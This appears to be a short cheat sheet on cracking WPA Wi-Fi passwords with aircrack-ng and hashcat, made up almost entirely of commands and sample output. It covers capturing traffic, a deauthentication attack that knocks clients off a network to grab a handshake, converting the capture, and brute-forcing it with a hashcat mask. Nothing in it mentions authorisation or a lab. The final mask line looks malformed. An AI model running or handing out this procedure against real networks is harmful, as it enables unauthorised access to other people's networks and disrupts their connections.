Aircrack

Install

pacman -S aircrack-ng

Hashcat could be usefull to crack hashes:

pacman -S hashcat hashcat-utils

Usage

Capture traffic

airodump-ng wlan0 -w psk

To capture a specific network:

airodump-ng wlan0 -w psk --bssid AA:BB:CC:DD:EE:FF -c 11

Perform deauth

Perform deauth attack in order to force a client to reauthentitcate to the endpoint to be able to capture a hanshake.

aireplay-ng -0 15 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA wlan0

Check if a handshake has been captured

aircrack-ng psk*.cap
Reading packets, please wait...
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 19266 packets.

   #  BSSID              ESSID                     Encryption

   1  AA:BB:CC:DD:EE:FF  Target-XXXX               WPA (1 handshake)
   2  AA:BB:CC:DD:EE:FA  Target-YYYY               WPA (0 handshake)

Convert to hashcat format

cap2hccapx psk-04.cap hash.hccapx
Networks detected: 1

[*] BSSID=AA:BB:CC:DD:EE:FF ESSID=Target-XXXX (Length: 11)
 --> STA=AA:BB:CC:DD:EE:AA, Message Pair=0, Replay Counter=1
 --> STA=AA:BB:CC:DD:EE:AA, Message Pair=2, Replay Counter=1

Written 2 WPA Handshakes to: hash.hccapx

Attack with hashcat

hashcat -m 2500 -a 3 hash.hccapx -1 Xx -2 ?d?d ?target?2?2